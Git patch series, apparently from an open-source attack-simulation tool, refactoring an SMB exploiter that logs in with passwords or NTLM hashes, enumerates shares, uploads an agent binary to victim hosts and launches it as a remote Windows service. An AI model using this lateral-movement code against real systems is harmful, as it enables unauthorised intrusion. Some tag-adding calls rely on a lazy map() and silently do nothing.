return except Exception as exc: error_message = ( - f"Error uploading monkey to share '{share_name}' on victim {self._host}: {exc}" + f"Error uploading monkey to share '{share.name}' on victim {self._host}: {exc}" ) logger.error(error_message) raise RemoteFileCopyError(error_message) raise RemoteFileCopyError("Failed to connect to any share") - def _query_shares(self, path: PurePath): - resp = self._smb_client.query_shared_resources() - if not resp: - return () - - high_priority_shares: Tuple[Tuple[str, Dict[str, Any]], ...] = () - low_priority_shares: Tuple[Tuple[str, Dict[str, Any]], ...] = () + def _query_shares(self, path: PurePath) -> Tuple[Tuple[str, ShareInfo], ...]: + high_priority_shares: Tuple[Tuple[str, ShareInfo], ...] = () + low_priority_shares: Tuple[Tuple[str, ShareInfo], ...] = () file_name = path.name - for i in range(len(resp)): - share_name = resp[i]["shi2_netname"].strip("\0 ") - share_path = resp[i]["shi2_path"].strip("\0 ") - current_uses = resp[i]["shi2_current_uses"] - max_uses = resp[i]["shi2_max_uses"] - - if current_uses >= max_uses: + for share in self._smb_client.query_shared_resources(): + if share.current_uses >= share.max_uses: logger.debug( - f"Skipping share '{share_name}' on victim %r because max uses is exceeded", - self._host, + f"Skipping share '{share.name}' on victim {self._host} because max uses is exceeded", ) continue - elif not share_path: + elif not share.path: logger.debug( - f"Skipping share '{share_name}' on victim %r because share path is invalid", - self._host, + f"Skipping share '{share.name}' on victim {self._host} because share path is invalid", ) continue - share_info = {"share_name": share_name, "share_path": share_path} - - if str(path).lower().startswith(share_path.lower()): - high_priority_shares += ((ntpath.sep + str(path)[len(share_path) :], share_info),) + if str(path).lower().startswith(share.path.lower()): + high_priority_shares += ((ntpath.sep + str(path)[len(share.path) :], share),) - low_priority_shares += ((ntpath.sep + file_name, share_info),) + low_priority_shares += ((ntpath.sep + file_name, share),) return high_priority_shares + low_priority_shares - def _connected_shares(self, shares): - """Yields a tuple of (remote_path, share_name, share_path) + def _connected_shares( + self, shares: Tuple[Tuple[str, ShareInfo], ...] + ) -> Iterator[Tuple[str, ShareInfo]]: + """ + Yields a tuple of (remote_path, share) Side effect: the SMBConnection is connected to the share""" - # Attempt to connect to a share over SMB - for remote_path, share in shares: - share_name = share["share_name"] - share_path = share["share_path"] + for remote_path, share in shares: # TODO: Do we really need to handle reconnects? if not self._smb_client.connected(): if not self._authenticated_credentials: @@ -180,11 +167,11 @@ def _connected_shares(self, shares): break try: - self._smb_client.connect_to_share(share_name) + self._smb_client.connect_to_share(share.name) except Exception as exc: logger.error( - f'Error connecting tree to share "{share_name}" on victim {self._host}: {exc}' + f'Error connecting tree to share "{share.path}" on victim {self._host}: {exc}' ) continue - yield remote_path, share_name, share_path + yield remote_path, share diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py index 211599459f3..f5dba6170a3 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_exploit_client.py @@ -5,7 +5,7 @@ from unittest.mock import MagicMock import pytest -from agent_plugins.exploiters.smb.src.smb_client import SMBClient +from agent_plugins.exploiters.smb.src.smb_client import ShareInfo, SMBClient from agent_plugins.exploiters.smb.src.smb_exploit_client import SMBExploitClient from agent_plugins.exploiters.smb.src.smb_options import SMBOptions from tests.data_for_tests.propagation_credentials import FULL_CREDENTIALS @@ -17,19 +17,9 @@ from infection_monkey.i_puppet import TargetHost SHARED_RESOURECES = ( - { - "shi2_netname": "share1", - "shi2_path": "path1", - "shi2_current_uses": 10, - "shi2_max_uses": 1000, - }, - { - "shi2_netname": "share2", - "shi2_path": "path2", - "shi2_current_uses": 100, - "shi2_max_uses": 100, - }, - {"shi2_netname": "share3", "shi2_path": "", "shi2_current_uses": 0, "shi2_max_uses": 10}, + ShareInfo("share1", "path1", current_uses=10, max_uses=1000), + ShareInfo("share2", "path2", current_uses=100, max_uses=100), + ShareInfo("share3", "", current_uses=0, max_uses=10), ) FILE = BytesIO(b"file content") @@ -101,7 +91,7 @@ def test_copy_file__fails_if_no_shares_found( mock_target_host: TargetHost, mock_smb_client: SMBClient, ): - mock_smb_client.query_shared_resources.return_value = None + mock_smb_client.query_shared_resources.return_value = () exploit_client = SMBExploitClient(mock_target_host, SMBOptions(), mock_smb_client) exploit_client.authenticate(FULL_CREDENTIALS[0]) with pytest.raises(RemoteFileCopyError): From 30501aaee352767dc4b72bed4ae874dc225a4626 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 16 Mar 2023 10:13:53 +0100 Subject: [PATCH 0813/1338] SMB: Raise exception instead of returning None in query_server_info --- .../agent_plugins/exploiters/smb/src/smb_client.py | 13 ++++++++----- .../exploiters/smb/src/smb_exploit_client.py | 3 +-- 2 files changed, 9 insertions(+), 7 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 2f2c0c44f44..981edde6072 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -14,7 +14,7 @@ class ShareInfo: - """Stores the information about a share""" + """Stores information about a SMB share""" def __init__(self, name: str, path: str, current_uses: int, max_uses: int): self.name = name @@ -57,9 +57,12 @@ def connect_with_user(self, host: TargetHost, credentials: Credentials, timeout: return True def connect_to_share(self, share_name: str): - """Connects to a share on the remote host - Side effect: sets the current directory to the root of the share - raises SessionError if an error occurs""" + """ + Connects to a share on the remote host + + :param share_name: Name of SMB share + :raises Exception: If an error occured while connecting to share + """ if not self._smb_connection: raise Exception("SMB connection not established") self._smb_connection.connectTree(share_name) @@ -69,7 +72,7 @@ def query_server_info(self): return self._execute_rpc_call(srvs.hNetrServerGetInfo, 102) except Exception as err: logger.debug(f"Failed to query server info: {err}") - return None + raise Exception(f"No server information is available: {str(err)}") def query_shared_resources(self) -> Tuple[ShareInfo, ...]: """Return a tuple consisting of available network shares""" diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index f79036427c6..2bece0439fa 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -91,8 +91,7 @@ def copy_file( file: BytesIO, ): """Raises an exception if the copy failed""" - if not self._smb_client.query_server_info(): - raise RemoteFileCopyError("No server information is available") + self._smb_client.query_server_info() destination_path = get_agent_dst_path(self._host) shares = self._query_shares(destination_path) From 4ca9046acd4b8ccf61e24d3f7967bc1cf55a9e19 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 16 Mar 2023 10:52:41 +0100 Subject: [PATCH 0814/1338] SMB: Add docstrings to SMBExploitClient --- .../exploiters/smb/src/smb_exploit_client.py | 44 ++++++++++++++++--- 1 file changed, 38 insertions(+), 6 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 2bece0439fa..4b9dfb111e7 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -44,9 +44,15 @@ def __init__( self._smb_client = smb_client def authenticate(self, credentials: Credentials) -> bool: - """Returns True if authentication succeeded, False otherwise - Side effect: The SMB connection is established on success""" + """ + Try to authenticate through SMB connection. + Sets authenticated credentials if the authentication succeeds + :param host: A target host to which we try to authenticate. + :param options: Configured options for SMB. + :param credentials: Credentials used to authenticate. + :return: A boolean that indicates connection to the target host + """ if not self._smb_client.connect_with_user( self._host, credentials, timeout=self._options.smb_connect_timeout ): @@ -64,7 +70,15 @@ def execute( current_depth: int, interrupt: Event, ): - """Raises an exception if the execution failed""" + """ + Execute a predefined SMB command on target host. + + :param host: A target host on which the command will be executed + :param servers: Used to construct the command servers + :param current_depth: Used to construct the command depth + :param options: Configured options for SMB + :raises Exception: If an error occurs while executing the command + """ if not self._authenticated_credentials: raise Exception("Not authenticated") @@ -90,7 +104,14 @@ def copy_file( self, file: BytesIO, ): - """Raises an exception if the copy failed""" + """ + Copies a file to the target host. + + :param host: A target host on which we copy the file + :param file: A bytes file to copy + :param options: Configures options for SMB + :raises RemoteCopyFileError: If an error occured while copying the file + """ self._smb_client.query_server_info() destination_path = get_agent_dst_path(self._host) @@ -126,6 +147,13 @@ def copy_file( raise RemoteFileCopyError("Failed to connect to any share") def _query_shares(self, path: PurePath) -> Tuple[Tuple[str, ShareInfo], ...]: + """ + Queries the host for SMB shares. + + :param host: A target host on which we query for SMB shares + :param path: An SMB shares path + :return: A tuple consisting of share name and info pairs + """ high_priority_shares: Tuple[Tuple[str, ShareInfo], ...] = () low_priority_shares: Tuple[Tuple[str, ShareInfo], ...] = () file_name = path.name @@ -153,8 +181,12 @@ def _connected_shares( self, shares: Tuple[Tuple[str, ShareInfo], ...] ) -> Iterator[Tuple[str, ShareInfo]]: """ - Yields a tuple of (remote_path, share) - Side effect: the SMBConnection is connected to the share""" + Gets SMB connected share on target host + + :param host: A target host on which we connect to SMB shares + :param shares: Queried SMB shares from target host + :return: A tuple of connected shares, path and info + """ for remote_path, share in shares: # TODO: Do we really need to handle reconnects? From 00b0a6be9637062cee186e1e8f70b7fb7985e9d5 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 16 Mar 2023 11:12:10 +0100 Subject: [PATCH 0815/1338] SMB: Add docstrings to the SMBClient --- .../exploiters/smb/src/smb_client.py | 45 +++++++++++++++---- 1 file changed, 37 insertions(+), 8 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 981edde6072..097e22df5da 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -40,6 +40,13 @@ def connected(self) -> bool: return self._smb_connection is not None and not self._smb_connection.isLoginRequired() def connect_with_user(self, host: TargetHost, credentials: Credentials, timeout: int) -> bool: + """ + Connect to target host SMB services using credentials + + :param host: A target host to which to connect + :param credentials: Credentials used for connections + :param timeout: An SMB connection timeout + """ self._smb_connection = create_smb_connection(host) if not self._smb_connection: return False @@ -68,6 +75,7 @@ def connect_to_share(self, share_name: str): self._smb_connection.connectTree(share_name) def query_server_info(self): + """Get SMB Server info by executing RPC call""" try: return self._execute_rpc_call(srvs.hNetrServerGetInfo, 102) except Exception as err: @@ -75,7 +83,11 @@ def query_server_info(self): raise Exception(f"No server information is available: {str(err)}") def query_shared_resources(self) -> Tuple[ShareInfo, ...]: - """Return a tuple consisting of available network shares""" + """ + Get available network shares. + + :return: A tuple of shares information + """ try: return tuple( ShareInfo.from_dict(share) @@ -86,8 +98,12 @@ def query_shared_resources(self) -> Tuple[ShareInfo, ...]: return () def _execute_rpc_call(self, rpc_func, *args): - """Executes an RPC call using DCE/RPC - raises SessionError if an error occurs""" + """ + Executes an RPC call using DCE/RPC transport protocol + + :param rpc_func: Helpers' RPC function + :raises SessionError: If an error occurs while executing an RPC call + """ rpctransport = transport.SMBTransport( self._smb_connection.getRemoteHost(), self._smb_connection.getRemoteHost(), @@ -109,9 +125,17 @@ def run_service( credentials: Credentials, timeout: int, ): - """Runs a service on the remote host - raises Exception if an error occurs""" - + """ + Run a servie on the remote host. + + :param service_name: Name of the service to run + :param command: Command to be run + :param host: A target host on which we run the service + :param ports_to_try: A list of network ports + :param credentials: Credentials used for authentication + :param timeout: An RPC connection timeout + :raises Exception: If an error occurred while connecting over SMB + """ rpc: Optional[transport.DCERPCTransport] = None for port in ports_to_try: rpc = rpc_connect(host, port, credentials, timeout) @@ -149,8 +173,13 @@ def run_service( scmr.hRCloseServiceHandle(rpc, service_handle) def send_file(self, share_name: str, path_name: str, callback): - """Sends a file to the remote host - rises SessionError if an error occurs""" + """ + Send a file to the remote host + + :param share_name: A network share name + :param path_name: A remote network share path + :raises Exception: If an error occurred while sending the file + """ if not self._smb_connection: raise Exception("SMB connection not established") self._smb_connection.putFile(share_name, path_name, callback) From 3c9e2225b4618d7d85f776a26905c3918ae0fcc3 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 16 Mar 2023 12:37:21 +0100 Subject: [PATCH 0816/1338] SMB: Reduce duplicate code in SMB --- .../exploiters/smb/src/smb_client.py | 12 ++++----- .../exploiters/smb/src/smb_utils.py | 27 ++++++++++++------- 2 files changed, 23 insertions(+), 16 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 097e22df5da..4bdd2388e0e 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -8,7 +8,7 @@ from common.types import NetworkPort from infection_monkey.i_puppet import TargetHost -from .smb_utils import create_smb_connection, logout_guest, rpc_connect, smb_login +from .smb_utils import create_smb_connection, dce_rpc_connect, logout_guest, rpc_connect, smb_login logger = logging.getLogger(__name__) @@ -104,17 +104,17 @@ def _execute_rpc_call(self, rpc_func, *args): :param rpc_func: Helpers' RPC function :raises SessionError: If an error occurs while executing an RPC call """ - rpctransport = transport.SMBTransport( + rpc_transport = transport.SMBTransport( self._smb_connection.getRemoteHost(), self._smb_connection.getRemoteHost(), filename=r"\srvsvc", smb_connection=self._smb_connection, ) - dce = rpctransport.get_dce_rpc() - dce.connect() - dce.bind(srvs.MSRPC_UUID_SRVS) - return rpc_func(dce, *args) + rpc = dce_rpc_connect(rpc_transport) + rpc.bind(srvs.MSRPC_UUID_SRVS) + + return rpc_func(rpc, *args) def run_service( self, diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_utils.py b/monkey/agent_plugins/exploiters/smb/src/smb_utils.py index b575199811e..db993aba2f7 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_utils.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_utils.py @@ -1,8 +1,8 @@ import logging -from typing import Type +from typing import Optional, Type -# SMB from impacket.dcerpc.v5 import transport +from impacket.dcerpc.v5.rpcrt import DCERPC_v5 from impacket.smbconnection import SMB_DIALECT, SMBConnection from common.credentials import Credentials, LMHash, NTHash, Password, get_plaintext @@ -46,7 +46,7 @@ def smb_login(smb: SMBConnection, credentials: Credentials) -> bool: return True -def rpc_connect(self, host: TargetHost, port: NetworkPort, credentials: Credentials, timeout: int): +def rpc_connect(host: TargetHost, port: NetworkPort, credentials: Credentials, timeout: int): """Connects to the remote host and returns the SMB connection""" rpc_transport = transport.DCERPCTransportFactory(f"ncacn_np:{host.ip}[\\pipe\\svcctl]") rpc_transport.set_connect_timeout(timeout) @@ -61,19 +61,26 @@ def rpc_connect(self, host: TargetHost, port: NetworkPort, credentials: Credenti ) rpc_transport.set_kerberos(False) - # Duplicate code + rpc = dce_rpc_connect(rpc_transport) + + try: + smb = rpc.get_smb_connection() + smb.setTimeout(timeout) + return smb + except Exception as err: + logger.debug(f"An error occured while getting SMB connection: {str(err)}") + return rpc + + +def dce_rpc_connect(rpc_transport) -> Optional[DCERPC_v5]: rpc = rpc_transport.get_dce_rpc() try: rpc.connect() + return rpc except Exception as err: - logger.debug(f"Failed to connect to {host} on port {port}: {err}") + logger.debug(f"Failed to RPC connect to host: {err}") return None - smb = rpc.get_smb_connection() - smb.setTimeout(timeout) - - return None if smb is None else rpc - def _secret_for_type(credentials: Credentials, secret_type: Type) -> str: return get_plaintext(credentials.secret) if type(credentials.secret) == secret_type else "" From 91046930736c5f6969457bee8d7a2a2bc5cc1b2b Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 16 Mar 2023 15:23:28 +0100 Subject: [PATCH 0817/1338] SMB: Merge smb_utils to SMBClient --- .../exploiters/smb/src/smb_client.py | 105 ++++++++++++++++-- .../exploiters/smb/src/smb_utils.py | 98 ---------------- 2 files changed, 94 insertions(+), 109 deletions(-) delete mode 100644 monkey/agent_plugins/exploiters/smb/src/smb_utils.py diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_client.py index 4bdd2388e0e..2fbf28235cb 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_client.py @@ -1,15 +1,14 @@ import logging -from typing import Any, Dict, Optional, Sequence, Tuple +from typing import Any, Dict, Optional, Sequence, Tuple, Type from impacket.dcerpc.v5 import scmr, srvs, transport -from impacket.smbconnection import SMBConnection +from impacket.dcerpc.v5.rpcrt import DCERPC_v5 +from impacket.smbconnection import SMB_DIALECT, SMBConnection -from common.credentials import Credentials +from common.credentials import Credentials, LMHash, NTHash, Password, get_plaintext from common.types import NetworkPort from infection_monkey.i_puppet import TargetHost -from .smb_utils import create_smb_connection, dce_rpc_connect, logout_guest, rpc_connect, smb_login - logger = logging.getLogger(__name__) @@ -47,22 +46,69 @@ def connect_with_user(self, host: TargetHost, credentials: Credentials, timeout: :param credentials: Credentials used for connections :param timeout: An SMB connection timeout """ - self._smb_connection = create_smb_connection(host) + self._create_smb_connection(host) if not self._smb_connection: return False - self._smb_connection = smb_login(self._smb_connection, credentials) - if not self._smb_connection: + logged_in = self._smb_login(credentials) + if not logged_in: return False self._smb_connection.setTimeout(timeout) - if logout_guest(self._smb_connection): + if self._logout_guest(): # TODO: Reset the connection to None? return False return True + def _create_smb_connection(self, host: TargetHost): + # Create a SMB connection with the credentials + try: + self._smb_connection = SMBConnection( + str(host.ip), str(host.ip), sess_port=445, preferredDialect=SMB_DIALECT + ) + except Exception as err: + logger.debug( + f"Failed to create SMB connection to {host} on port 445. Trying port 139: {err}" + ) + + try: + self._smb_connection = SMBConnection("*SMBSEVER", str(host.ip), sess_port=139) + except Exception as err: + logger.debug(f"Failed to create SMB connection to {host} on port 139: {err}") + return None + + def _smb_login(self, credentials: Credentials) -> bool: + """True if login succeeded, False otherwise""" + try: + self._smb_connection.login( + user=credentials.identity, + password=SMBClient._secret_for_type(credentials, Password), + domain="", + lmhash=SMBClient._secret_for_type(credentials, LMHash), + nthash=SMBClient._secret_for_type(credentials, NTHash), + ) + except Exception as err: + logger.debug(f"Failed to login to with user {credentials.identity}: {err}") + return False + return True + + def _logout_guest(self) -> bool: + if self._smb_connection.isGuestSession() > 0: + try: + self._smb_connection.logoff() + except Exception: + # TODO: If we failed to logout, we should handle that + pass + + return True + return False + + @staticmethod + def _secret_for_type(credentials: Credentials, secret_type: Type) -> str: + return get_plaintext(credentials.secret) if type(credentials.secret) == secret_type else "" + def connect_to_share(self, share_name: str): """ Connects to a share on the remote host @@ -111,7 +157,7 @@ def _execute_rpc_call(self, rpc_func, *args): smb_connection=self._smb_connection, ) - rpc = dce_rpc_connect(rpc_transport) + rpc = SMBClient._dce_rpc_connect(rpc_transport) rpc.bind(srvs.MSRPC_UUID_SRVS) return rpc_func(rpc, *args) @@ -138,7 +184,7 @@ def run_service( """ rpc: Optional[transport.DCERPCTransport] = None for port in ports_to_try: - rpc = rpc_connect(host, port, credentials, timeout) + rpc = self._rpc_connect(host, port, credentials, timeout) if rpc: break if not rpc: @@ -172,6 +218,43 @@ def run_service( scmr.hRDeleteService(rpc, service_handle) scmr.hRCloseServiceHandle(rpc, service_handle) + def _rpc_connect( + self, host: TargetHost, port: NetworkPort, credentials: Credentials, timeout: int + ): + """Connects to the remote host and returns the SMB connection""" + rpc_transport = transport.DCERPCTransportFactory(f"ncacn_np:{host.ip}[\\pipe\\svcctl]") + rpc_transport.set_connect_timeout(timeout) + rpc_transport.set_dport(port) + rpc_transport.setRemoteHost(str(host.ip)) + rpc_transport.set_credentials( + username=credentials.identity, + password=SMBClient._secret_for_type(credentials, Password), + domain="", + lmhash=SMBClient._secret_for_type(credentials, LMHash), + nthash=SMBClient._secret_for_type(credentials, NTHash), + ) + rpc_transport.set_kerberos(False) + + rpc = SMBClient._dce_rpc_connect(rpc_transport) + + try: + smb = rpc.get_smb_connection() + smb.setTimeout(timeout) + return smb + except Exception as err: + logger.debug(f"An error occured while getting SMB connection: {str(err)}") + return rpc + + @staticmethod + def _dce_rpc_connect(rpc_transport) -> Optional[DCERPC_v5]: + rpc = rpc_transport.get_dce_rpc() + try: + rpc.connect() + return rpc + except Exception as err: + logger.debug(f"Failed to RPC connect to host: {err}") + return None + def send_file(self, share_name: str, path_name: str, callback): """ Send a file to the remote host diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_utils.py b/monkey/agent_plugins/exploiters/smb/src/smb_utils.py deleted file mode 100644 index db993aba2f7..00000000000 --- a/monkey/agent_plugins/exploiters/smb/src/smb_utils.py +++ /dev/null @@ -1,98 +0,0 @@ -import logging -from typing import Optional, Type - -from impacket.dcerpc.v5 import transport -from impacket.dcerpc.v5.rpcrt import DCERPC_v5 -from impacket.smbconnection import SMB_DIALECT, SMBConnection - -from common.credentials import Credentials, LMHash, NTHash, Password, get_plaintext -from common.types import NetworkPort -from infection_monkey.i_puppet import TargetHost - -logger = logging.getLogger(__name__) - - -def create_smb_connection(host: TargetHost) -> SMBConnection: - # Create a SMB connection with the credentials - try: - return SMBConnection( - str(host.ip), str(host.ip), sess_port=445, preferredDialect=SMB_DIALECT - ) - except Exception as err: - logger.debug( - f"Failed to create SMB connection to {host} on port 445. Trying port 139: {err}" - ) - - try: - return SMBConnection("*SMBSEVER", str(host.ip), sess_port=139) - except Exception as err: - logger.debug(f"Failed to create SMB connection to {host} on port 139: {err}") - return None - - -def smb_login(smb: SMBConnection, credentials: Credentials) -> bool: - """True if login succeeded, False otherwise""" - try: - smb.login( - user=credentials.identity, - password=_secret_for_type(credentials, Password), - domain="", - lmhash=_secret_for_type(credentials, LMHash), - nthash=_secret_for_type(credentials, NTHash), - ) - except Exception as err: - logger.debug(f"Failed to login to with user {credentials.identity}: {err}") - return False - return True - - -def rpc_connect(host: TargetHost, port: NetworkPort, credentials: Credentials, timeout: int): - """Connects to the remote host and returns the SMB connection""" - rpc_transport = transport.DCERPCTransportFactory(f"ncacn_np:{host.ip}[\\pipe\\svcctl]") - rpc_transport.set_connect_timeout(timeout) - rpc_transport.set_dport(port) - rpc_transport.setRemoteHost(str(host.ip)) - rpc_transport.set_credentials( - username=credentials.identity, - password=_secret_for_type(credentials, Password), - domain="", - lmhash=_secret_for_type(credentials, LMHash), - nthash=_secret_for_type(credentials, NTHash), - ) - rpc_transport.set_kerberos(False) - - rpc = dce_rpc_connect(rpc_transport) - - try: - smb = rpc.get_smb_connection() - smb.setTimeout(timeout) - return smb - except Exception as err: - logger.debug(f"An error occured while getting SMB connection: {str(err)}") - return rpc - - -def dce_rpc_connect(rpc_transport) -> Optional[DCERPC_v5]: - rpc = rpc_transport.get_dce_rpc() - try: - rpc.connect() - return rpc - except Exception as err: - logger.debug(f"Failed to RPC connect to host: {err}") - return None - - -def _secret_for_type(credentials: Credentials, secret_type: Type) -> str: - return get_plaintext(credentials.secret) if type(credentials.secret) == secret_type else "" - - -def logout_guest(smb: SMBConnection) -> bool: - if smb.isGuestSession() > 0: - try: - smb.logoff() - except Exception: - # TODO: If we failed to logout, we should handle that - pass - - return True - return False From bcf2605677261cc07b2c15ea887bde4d62f4aab0 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 17 Mar 2023 13:22:41 +0000 Subject: [PATCH 0818/1338] SMB: Implement IRemoteAccessClient for SMBExploitClient --- .../exploiters/smb/src/smb_exploit_client.py | 131 +++++++++--------- monkey/common/tags/__init__.py | 1 + monkey/common/tags/attack.py | 1 + .../exploiters/smb/test_smb_exploit_client.py | 89 +++++++----- 4 files changed, 118 insertions(+), 104 deletions(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py index 4b9dfb111e7..c5d150d5d43 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_exploit_client.py @@ -2,22 +2,48 @@ import ntpath from io import BytesIO from pathlib import PurePath -from typing import Iterator, Optional, Sequence, Tuple +from typing import Iterator, List, MutableSet, Optional, Tuple from common import OperatingSystem from common.credentials import Credentials -from common.types import Event -from infection_monkey.exploit.tools import RemoteFileCopyError -from infection_monkey.exploit.tools.helpers import get_agent_dst_path +from common.tags import ( + T1021_ATTACK_TECHNIQUE_TAG, + T1105_ATTACK_TECHNIQUE_TAG, + T1110_ATTACK_TECHNIQUE_TAG, + T1135_ATTACK_TECHNIQUE_TAG, + T1210_ATTACK_TECHNIQUE_TAG, + T1569_ATTACK_TECHNIQUE_TAG, +) +from infection_monkey.exploit.tools import ( + IRemoteAccessClient, + RemoteAuthenticationError, + RemoteCommandExecutionError, + RemoteFileCopyError, +) from infection_monkey.i_puppet import TargetHost from .smb_client import ShareInfo, SMBClient -from .smb_command_builder import build_smb_command from .smb_options import SMBOptions logger = logging.getLogger(__name__) SERVICE_NAME = "InfectionMonkey" +LOGIN_TAGS = { + T1021_ATTACK_TECHNIQUE_TAG, # Remote Services + T1110_ATTACK_TECHNIQUE_TAG, # Brute Force + T1210_ATTACK_TECHNIQUE_TAG, # Exploitation of Remote Services +} +COPY_FILE_TAGS = { + T1021_ATTACK_TECHNIQUE_TAG, # Remote Services + T1105_ATTACK_TECHNIQUE_TAG, # Ingress Tool Transfer + T1135_ATTACK_TECHNIQUE_TAG, # Network Share Discovery + T1210_ATTACK_TECHNIQUE_TAG, # Exploitation of Remote Services +} +EXECUTION_TAGS = { + T1021_ATTACK_TECHNIQUE_TAG, # Remote Services + T1210_ATTACK_TECHNIQUE_TAG, # Exploitation of Remote Services + T1569_ATTACK_TECHNIQUE_TAG, # Execution: System Services +} class CopiedFileDetails: @@ -28,7 +54,7 @@ def __init__(self, remote_path: PurePath, destination_path: PurePath): self.destination_path = destination_path -class SMBExploitClient: +class SMBExploitClient(IRemoteAccessClient): """Manages the SMB connection, Exploitation events""" def __init__( @@ -43,78 +69,44 @@ def __init__( self._authenticated_credentials: Optional[Credentials] = None self._smb_client = smb_client - def authenticate(self, credentials: Credentials) -> bool: - """ - Try to authenticate through SMB connection. - - Sets authenticated credentials if the authentication succeeds - :param host: A target host to which we try to authenticate. - :param options: Configured options for SMB. - :param credentials: Credentials used to authenticate. - :return: A boolean that indicates connection to the target host - """ + def login(self, credentials: Credentials, tags: MutableSet[str]): + map(tags.add, LOGIN_TAGS) + error_message = f"Failed to authentication using SMB with {credentials}" if not self._smb_client.connect_with_user( self._host, credentials, timeout=self._options.smb_connect_timeout ): - return False + raise RemoteAuthenticationError(error_message) self._authenticated_credentials = credentials - return True def get_os(self) -> OperatingSystem: return OperatingSystem.WINDOWS - def execute( - self, - servers: Sequence[str], - current_depth: int, - interrupt: Event, - ): - """ - Execute a predefined SMB command on target host. - - :param host: A target host on which the command will be executed - :param servers: Used to construct the command servers - :param current_depth: Used to construct the command depth - :param options: Configured options for SMB - :raises Exception: If an error occurs while executing the command - """ + def execute_detached(self, command: str, tags: MutableSet[str]): if not self._authenticated_credentials: - raise Exception("Not authenticated") + raise RemoteCommandExecutionError("Not authenticated") if not self._copied_file_details: - raise Exception("File was not copied before executing it") - command = build_smb_command( - servers, - current_depth, - self._copied_file_details.remote_path, - self._copied_file_details.destination_path, - ) - - self._smb_client.run_service( - SERVICE_NAME, - command, - self._host, - [139, 445], - self._authenticated_credentials, - self._options.smb_connect_timeout, - ) - - def copy_file( - self, - file: BytesIO, - ): - """ - Copies a file to the target host. + raise RemoteCommandExecutionError("File was not copied before executing it") + + try: + map(tags.add, EXECUTION_TAGS) + self._smb_client.run_service( + SERVICE_NAME, + command, + self._host, + [139, 445], + self._authenticated_credentials, + self._options.smb_connect_timeout, + ) + except Exception as err: + raise RemoteCommandExecutionError(err) - :param host: A target host on which we copy the file - :param file: A bytes file to copy - :param options: Configures options for SMB - :raises RemoteCopyFileError: If an error occured while copying the file - """ + def copy_file(self, file: bytes, destination_path: PurePath, tags: MutableSet[str]): + map(tags.add, (T1021_ATTACK_TECHNIQUE_TAG, T1210_ATTACK_TECHNIQUE_TAG)) self._smb_client.query_server_info() - destination_path = get_agent_dst_path(self._host) + tags.add(T1135_ATTACK_TECHNIQUE_TAG) shares = self._query_shares(destination_path) for remote_path, share in self._connected_shares(shares): logger.debug( @@ -125,8 +117,10 @@ def copy_file( try: if not self._smb_client.connected(): raise RemoteFileCopyError("Not authenticated") + file_io = BytesIO(file) self._smb_client.set_timeout(self._options.agent_binary_upload_timeout) - self._smb_client.send_file(share.name, remote_path, file.read) + tags.add(T1105_ATTACK_TECHNIQUE_TAG) + self._smb_client.send_file(share.name, remote_path, file_io.read) logger.info( f"Copied monkey agent to remote share '{share.name}' " @@ -146,6 +140,9 @@ def copy_file( raise RemoteFileCopyError(error_message) raise RemoteFileCopyError("Failed to connect to any share") + def get_writable_paths(self) -> List[PurePath]: + return [] + def _query_shares(self, path: PurePath) -> Tuple[Tuple[str, ShareInfo], ...]: """ Queries the host for SMB shares. @@ -161,12 +158,14 @@ def _query_shares(self, path: PurePath) -> Tuple[Tuple[str, ShareInfo], ...]: for share in self._smb_client.query_shared_resources(): if share.current_uses >= share.max_uses: logger.debug( - f"Skipping share '{share.name}' on victim {self._host} because max uses is exceeded", + f"Skipping share '{share.name}' on victim " + f"{self._host} because max uses is exceeded", ) continue elif not share.path: logger.debug( - f"Skipping share '{share.name}' on victim {self._host} because share path is invalid", + f"Skipping share '{share.name}' on victim " + f"{self._host} because share path is invalid", ) continue diff --git a/monkey/common/tags/__init__.py 